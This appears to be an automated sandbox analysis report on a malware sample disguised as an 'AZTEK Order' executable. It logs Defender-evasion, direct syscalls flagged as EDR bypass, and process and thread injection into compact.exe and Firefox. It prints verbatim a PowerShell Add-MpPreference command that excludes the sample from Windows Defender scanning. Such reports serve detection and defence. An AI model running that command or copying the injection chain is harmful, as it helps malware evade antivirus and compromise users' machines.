Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_01464BB0 mov eax, dword ptr fs:[00000030h]	5_2_01464BB0
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_01464BB0 mov eax, dword ptr fs:[00000030h]	5_2_01464BB0
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013ECA38 mov eax, dword ptr fs:[00000030h]	5_2_013ECA38
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013D4A35 mov eax, dword ptr fs:[00000030h]	5_2_013D4A35
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013D4A35 mov eax, dword ptr fs:[00000030h]	5_2_013D4A35
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013DEA2E mov eax, dword ptr fs:[00000030h]	5_2_013DEA2E
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013ECA24 mov eax, dword ptr fs:[00000030h]	5_2_013ECA24
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_0145EA60 mov eax, dword ptr fs:[00000030h]	5_2_0145EA60
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_0142CA72 mov eax, dword ptr fs:[00000030h]	5_2_0142CA72
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_0142CA72 mov eax, dword ptr fs:[00000030h]	5_2_0142CA72
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013ECA6F mov eax, dword ptr fs:[00000030h]	5_2_013ECA6F
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013ECA6F mov eax, dword ptr fs:[00000030h]	5_2_013ECA6F
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013ECA6F mov eax, dword ptr fs:[00000030h]	5_2_013ECA6F
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_0143CA11 mov eax, dword ptr fs:[00000030h]	5_2_0143CA11
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013C0A5B mov eax, dword ptr fs:[00000030h]	5_2_013C0A5B
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013C0A5B mov eax, dword ptr fs:[00000030h]	5_2_013C0A5B
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013B6A50 mov eax, dword ptr fs:[00000030h]	5_2_013B6A50
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013B6A50 mov eax, dword ptr fs:[00000030h]	5_2_013B6A50
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013B6A50 mov eax, dword ptr fs:[00000030h]	5_2_013B6A50
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013B6A50 mov eax, dword ptr fs:[00000030h]	5_2_013B6A50
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013B6A50 mov eax, dword ptr fs:[00000030h]	5_2_013B6A50
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013B6A50 mov eax, dword ptr fs:[00000030h]	5_2_013B6A50
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013B6A50 mov eax, dword ptr fs:[00000030h]	5_2_013B6A50
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_01406ACC mov eax, dword ptr fs:[00000030h]	5_2_01406ACC
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_01406ACC mov eax, dword ptr fs:[00000030h]	5_2_01406ACC
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_01406ACC mov eax, dword ptr fs:[00000030h]	5_2_01406ACC
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013B8AA0 mov eax, dword ptr fs:[00000030h]	5_2_013B8AA0
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013B8AA0 mov eax, dword ptr fs:[00000030h]	5_2_013B8AA0
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013E8A90 mov edx, dword ptr fs:[00000030h]	5_2_013E8A90
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013BEA80 mov eax, dword ptr fs:[00000030h]	5_2_013BEA80
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013BEA80 mov eax, dword ptr fs:[00000030h]	5_2_013BEA80
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013BEA80 mov eax, dword ptr fs:[00000030h]	5_2_013BEA80
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013BEA80 mov eax, dword ptr fs:[00000030h]	5_2_013BEA80
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013BEA80 mov eax, dword ptr fs:[00000030h]	5_2_013BEA80
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013BEA80 mov eax, dword ptr fs:[00000030h]	5_2_013BEA80
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013BEA80 mov eax, dword ptr fs:[00000030h]	5_2_013BEA80
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013BEA80 mov eax, dword ptr fs:[00000030h]	5_2_013BEA80
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013BEA80 mov eax, dword ptr fs:[00000030h]	5_2_013BEA80
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_01484A80 mov eax, dword ptr fs:[00000030h]	5_2_01484A80
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013EAAEE mov eax, dword ptr fs:[00000030h]	5_2_013EAAEE
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013EAAEE mov eax, dword ptr fs:[00000030h]	5_2_013EAAEE
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_01406AA4 mov eax, dword ptr fs:[00000030h]	5_2_01406AA4
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013B0AD0 mov eax, dword ptr fs:[00000030h]	5_2_013B0AD0
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013E4AD0 mov eax, dword ptr fs:[00000030h]	5_2_013E4AD0
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013E4AD0 mov eax, dword ptr fs:[00000030h]	5_2_013E4AD0
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013E4D1D mov eax, dword ptr fs:[00000030h]	5_2_013E4D1D
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013A6D10 mov eax, dword ptr fs:[00000030h]	5_2_013A6D10
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013A6D10 mov eax, dword ptr fs:[00000030h]	5_2_013A6D10
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013A6D10 mov eax, dword ptr fs:[00000030h]	5_2_013A6D10
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_01448D6B mov eax, dword ptr fs:[00000030h]	5_2_01448D6B
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013CAD00 mov eax, dword ptr fs:[00000030h]	5_2_013CAD00
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013CAD00 mov eax, dword ptr fs:[00000030h]	5_2_013CAD00
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013CAD00 mov eax, dword ptr fs:[00000030h]	5_2_013CAD00

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Process token adjusted: Debug

Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe

Memory allocated: page read and write | page guard

Adds a directory exclusion to Windows Defender

HIPS / PFW / Operating System Protection Evasion

Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe"
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe"			Jump to behavior

Found direct / indirect Syscall (likely to bypass EDR)

Source: C:\Program Files (x86)\odwsgngViRYKyJqZXdTIjyeOqeeFpWdVedwgxEUjBOUgmNVeyCCwHnPIhqdBxblppHmpjV\EUSOiCcoIEEJJ.exe	NtResumeThread: Direct from: 0x773836AC	Jump to behavior
Source: C:\Program Files (x86)\odwsgngViRYKyJqZXdTIjyeOqeeFpWdVedwgxEUjBOUgmNVeyCCwHnPIhqdBxblppHmpjV\EUSOiCcoIEEJJ.exe	NtMapViewOfSection: Direct from: 0x77382D1C	Jump to behavior
Source: C:\Program Files (x86)\odwsgngViRYKyJqZXdTIjyeOqeeFpWdVedwgxEUjBOUgmNVeyCCwHnPIhqdBxblppHmpjV\EUSOiCcoIEEJJ.exe	NtWriteVirtualMemory: Direct from: 0x77382E3C	Jump to behavior
Source: C:\Program Files (x86)\odwsgngViRYKyJqZXdTIjyeOqeeFpWdVedwgxEUjBOUgmNVeyCCwHnPIhqdBxblppHmpjV\EUSOiCcoIEEJJ.exe	NtProtectVirtualMemory: Direct from: 0x77382F9C	Jump to behavior
Source: C:\Program Files (x86)\odwsgngViRYKyJqZXdTIjyeOqeeFpWdVedwgxEUjBOUgmNVeyCCwHnPIhqdBxblppHmpjV\EUSOiCcoIEEJJ.exe	NtSetInformationThread: Direct from: 0x773763F9	Jump to behavior
Source: C:\Program Files (x86)\odwsgngViRYKyJqZXdTIjyeOqeeFpWdVedwgxEUjBOUgmNVeyCCwHnPIhqdBxblppHmpjV\EUSOiCcoIEEJJ.exe	NtCreateMutant: Direct from: 0x773835CC	Jump to behavior
Source: C:\Program Files (x86)\odwsgngViRYKyJqZXdTIjyeOqeeFpWdVedwgxEUjBOUgmNVeyCCwHnPIhqdBxblppHmpjV\EUSOiCcoIEEJJ.exe	NtNotifyChangeKey: Direct from: 0x77383C2C	Jump to behavior
Source: C:\Program Files (x86)\odwsgngViRYKyJqZXdTIjyeOqeeFpWdVedwgxEUjBOUgmNVeyCCwHnPIhqdBxblppHmpjV\EUSOiCcoIEEJJ.exe	NtSetInformationProcess: Direct from: 0x77382C5C	Jump to behavior
Source: C:\Program Files (x86)\odwsgngViRYKyJqZXdTIjyeOqeeFpWdVedwgxEUjBOUgmNVeyCCwHnPIhqdBxblppHmpjV\EUSOiCcoIEEJJ.exe	NtCreateUserProcess: Direct from: 0x7738371C	Jump to behavior
Source: C:\Program Files (x86)\odwsgngViRYKyJqZXdTIjyeOqeeFpWdVedwgxEUjBOUgmNVeyCCwHnPIhqdBxblppHmpjV\EUSOiCcoIEEJJ.exe	NtQueryInformationProcess: Direct from: 0x77382C26	Jump to behavior
Source: C:\Program Files (x86)\odwsgngViRYKyJqZXdTIjyeOqeeFpWdVedwgxEUjBOUgmNVeyCCwHnPIhqdBxblppHmpjV\EUSOiCcoIEEJJ.exe	NtResumeThread: Direct from: 0x77382FBC	Jump to behavior
Source: C:\Program Files (x86)\odwsgngViRYKyJqZXdTIjyeOqeeFpWdVedwgxEUjBOUgmNVeyCCwHnPIhqdBxblppHmpjV\EUSOiCcoIEEJJ.exe	NtWriteVirtualMemory: Direct from: 0x7738490C	Jump to behavior
Source: C:\Program Files (x86)\odwsgngViRYKyJqZXdTIjyeOqeeFpWdVedwgxEUjBOUgmNVeyCCwHnPIhqdBxblppHmpjV\EUSOiCcoIEEJJ.exe	NtAllocateVirtualMemory: Direct from: 0x77383C9C	Jump to behavior
Source: C:\Program Files (x86)\odwsgngViRYKyJqZXdTIjyeOqeeFpWdVedwgxEUjBOUgmNVeyCCwHnPIhqdBxblppHmpjV\EUSOiCcoIEEJJ.exe	NtReadFile: Direct from: 0x77382ADC	Jump to behavior
Source: C:\Program Files (x86)\odwsgngViRYKyJqZXdTIjyeOqeeFpWdVedwgxEUjBOUgmNVeyCCwHnPIhqdBxblppHmpjV\EUSOiCcoIEEJJ.exe	NtAllocateVirtualMemory: Direct from: 0x77382BFC	Jump to behavior
Source: C:\Program Files (x86)\odwsgngViRYKyJqZXdTIjyeOqeeFpWdVedwgxEUjBOUgmNVeyCCwHnPIhqdBxblppHmpjV\EUSOiCcoIEEJJ.exe	NtDelayExecution: Direct from: 0x77382DDC	Jump to behavior
Source: C:\Program Files (x86)\odwsgngViRYKyJqZXdTIjyeOqeeFpWdVedwgxEUjBOUgmNVeyCCwHnPIhqdBxblppHmpjV\EUSOiCcoIEEJJ.exe	NtQuerySystemInformation: Direct from: 0x77382DFC	Jump to behavior
Source: C:\Program Files (x86)\odwsgngViRYKyJqZXdTIjyeOqeeFpWdVedwgxEUjBOUgmNVeyCCwHnPIhqdBxblppHmpjV\EUSOiCcoIEEJJ.exe	NtOpenSection: Direct from: 0x77382E0C	Jump to behavior
Source: C:\Program Files (x86)\odwsgngViRYKyJqZXdTIjyeOqeeFpWdVedwgxEUjBOUgmNVeyCCwHnPIhqdBxblppHmpjV\EUSOiCcoIEEJJ.exe	NtQueryVolumeInformationFile: Direct from: 0x77382F2C	Jump to behavior
Source: C:\Program Files (x86)\odwsgngViRYKyJqZXdTIjyeOqeeFpWdVedwgxEUjBOUgmNVeyCCwHnPIhqdBxblppHmpjV\EUSOiCcoIEEJJ.exe	NtQuerySystemInformation: Direct from: 0x773848CC	Jump to behavior
Source: C:\Program Files (x86)\odwsgngViRYKyJqZXdTIjyeOqeeFpWdVedwgxEUjBOUgmNVeyCCwHnPIhqdBxblppHmpjV\EUSOiCcoIEEJJ.exe	NtReadVirtualMemory: Direct from: 0x77382E8C	Jump to behavior
Source: C:\Program Files (x86)\odwsgngViRYKyJqZXdTIjyeOqeeFpWdVedwgxEUjBOUgmNVeyCCwHnPIhqdBxblppHmpjV\EUSOiCcoIEEJJ.exe	NtCreateKey: Direct from: 0x77382C6C	Jump to behavior
Source: C:\Program Files (x86)\odwsgngViRYKyJqZXdTIjyeOqeeFpWdVedwgxEUjBOUgmNVeyCCwHnPIhqdBxblppHmpjV\EUSOiCcoIEEJJ.exe	NtClose: Direct from: 0x77382B6C
Source: C:\Program Files (x86)\odwsgngViRYKyJqZXdTIjyeOqeeFpWdVedwgxEUjBOUgmNVeyCCwHnPIhqdBxblppHmpjV\EUSOiCcoIEEJJ.exe	NtAllocateVirtualMemory: Direct from: 0x773848EC	Jump to behavior
Source: C:\Program Files (x86)\odwsgngViRYKyJqZXdTIjyeOqeeFpWdVedwgxEUjBOUgmNVeyCCwHnPIhqdBxblppHmpjV\EUSOiCcoIEEJJ.exe	NtQueryAttributesFile: Direct from: 0x77382E6C	Jump to behavior
Source: C:\Program Files (x86)\odwsgngViRYKyJqZXdTIjyeOqeeFpWdVedwgxEUjBOUgmNVeyCCwHnPIhqdBxblppHmpjV\EUSOiCcoIEEJJ.exe	NtSetInformationThread: Direct from: 0x77382B4C	Jump to behavior
Source: C:\Program Files (x86)\odwsgngViRYKyJqZXdTIjyeOqeeFpWdVedwgxEUjBOUgmNVeyCCwHnPIhqdBxblppHmpjV\EUSOiCcoIEEJJ.exe	NtTerminateThread: Direct from: 0x77382FCC	Jump to behavior
Source: C:\Program Files (x86)\odwsgngViRYKyJqZXdTIjyeOqeeFpWdVedwgxEUjBOUgmNVeyCCwHnPIhqdBxblppHmpjV\EUSOiCcoIEEJJ.exe	NtQueryInformationToken: Direct from: 0x77382CAC	Jump to behavior
Source: C:\Program Files (x86)\odwsgngViRYKyJqZXdTIjyeOqeeFpWdVedwgxEUjBOUgmNVeyCCwHnPIhqdBxblppHmpjV\EUSOiCcoIEEJJ.exe	NtOpenKeyEx: Direct from: 0x77382B9C	Jump to behavior
Source: C:\Program Files (x86)\odwsgngViRYKyJqZXdTIjyeOqeeFpWdVedwgxEUjBOUgmNVeyCCwHnPIhqdBxblppHmpjV\EUSOiCcoIEEJJ.exe	NtAllocateVirtualMemory: Direct from: 0x77382BEC	Jump to behavior
Source: C:\Program Files (x86)\odwsgngViRYKyJqZXdTIjyeOqeeFpWdVedwgxEUjBOUgmNVeyCCwHnPIhqdBxblppHmpjV\EUSOiCcoIEEJJ.exe	NtDeviceIoControlFile: Direct from: 0x77382AEC	Jump to behavior
Source: C:\Program Files (x86)\odwsgngViRYKyJqZXdTIjyeOqeeFpWdVedwgxEUjBOUgmNVeyCCwHnPIhqdBxblppHmpjV\EUSOiCcoIEEJJ.exe	NtCreateFile: Direct from: 0x77382FEC	Jump to behavior
Source: C:\Program Files (x86)\odwsgngViRYKyJqZXdTIjyeOqeeFpWdVedwgxEUjBOUgmNVeyCCwHnPIhqdBxblppHmpjV\EUSOiCcoIEEJJ.exe	NtOpenFile: Direct from: 0x77382DCC	Jump to behavior
Source: C:\Program Files (x86)\odwsgngViRYKyJqZXdTIjyeOqeeFpWdVedwgxEUjBOUgmNVeyCCwHnPIhqdBxblppHmpjV\EUSOiCcoIEEJJ.exe	NtProtectVirtualMemory: Direct from: 0x77377B2E	Jump to behavior

Injects a PE file into a foreign processes

Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe

Memory written: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe base: 400000 value starts with: 4D5A

Maps a DLL or memory area into another process

Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Section loaded: NULL target: C:\Program Files (x86)\odwsgngViRYKyJqZXdTIjyeOqeeFpWdVedwgxEUjBOUgmNVeyCCwHnPIhqdBxblppHmpjV\EUSOiCcoIEEJJ.exe protection: execute and read and write	Jump to behavior
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Section loaded: NULL target: C:\Windows\SysWOW64\compact.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\compact.exe	Section loaded: NULL target: C:\Program Files (x86)\odwsgngViRYKyJqZXdTIjyeOqeeFpWdVedwgxEUjBOUgmNVeyCCwHnPIhqdBxblppHmpjV\EUSOiCcoIEEJJ.exe protection: read write	Jump to behavior
Source: C:\Windows\SysWOW64\compact.exe	Section loaded: NULL target: C:\Program Files (x86)\odwsgngViRYKyJqZXdTIjyeOqeeFpWdVedwgxEUjBOUgmNVeyCCwHnPIhqdBxblppHmpjV\EUSOiCcoIEEJJ.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\compact.exe	Section loaded: NULL target: C:\Program Files\Mozilla Firefox\firefox.exe protection: read write	Jump to behavior
Source: C:\Windows\SysWOW64\compact.exe	Section loaded: NULL target: C:\Program Files\Mozilla Firefox\firefox.exe protection: execute and read and write	Jump to behavior

Modifies the context of a thread in another process (thread injection)

Source: C:\Windows\SysWOW64\compact.exe

Thread register set: target process: 404

Queues an APC in another process (thread injection)

Source: C:\Windows\SysWOW64\compact.exe

Thread APC queued: target process: C:\Program Files (x86)\odwsgngViRYKyJqZXdTIjyeOqeeFpWdVedwgxEUjBOUgmNVeyCCwHnPIhqdBxblppHmpjV\EUSOiCcoIEEJJ.exe

Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe"	Jump to behavior
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Process created: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe "C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe"	Jump to behavior
Source: C:\Program Files (x86)\odwsgngViRYKyJqZXdTIjyeOqeeFpWdVedwgxEUjBOUgmNVeyCCwHnPIhqdBxblppHmpjV\EUSOiCcoIEEJJ.exe	Process created: C:\Windows\SysWOW64\compact.exe "C:\Windows\SysWOW64\compact.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\compact.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"	Jump to behavior

Source: EUSOiCcoIEEJJ.exe, 00000009.00000000.2432222159.00000000011F0000.00000002.00000001.00040000.00000000.sdmp, EUSOiCcoIEEJJ.exe, 00000009.00000002.4571003137.00000000011F1000.00000002.00000001.00040000.00000000.sdmp, EUSOiCcoIEEJJ.exe, 0000000D.00000000.2574330304.0000000000F31000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: IProgram Manager
Source: EUSOiCcoIEEJJ.exe, 00000009.00000000.2432222159.00000000011F0000.00000002.00000001.00040000.00000000.sdmp, EUSOiCcoIEEJJ.exe, 00000009.00000002.4571003137.00000000011F1000.00000002.00000001.00040000.00000000.sdmp, EUSOiCcoIEEJJ.exe, 0000000D.00000000.2574330304.0000000000F31000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Shell_TrayWnd
Source: EUSOiCcoIEEJJ.exe, 00000009.00000000.2432222159.00000000011F0000.00000002.00000001.00040000.00000000.sdmp, EUSOiCcoIEEJJ.exe, 00000009.00000002.4571003137.00000000011F1000.00000002.00000001.00040000.00000000.sdmp, EUSOiCcoIEEJJ.exe, 0000000D.00000000.2574330304.0000000000F31000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progman
Source: EUSOiCcoIEEJJ.exe, 00000009.00000000.2432222159.00000000011F0000.00000002.00000001.00040000.00000000.sdmp, EUSOiCcoIEEJJ.exe, 00000009.00000002.4571003137.00000000011F1000.00000002.00000001.00040000.00000000.sdmp, EUSOiCcoIEEJJ.exe, 0000000D.00000000.2574330304.0000000000F31000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progmanlock

Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Queries volume information: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
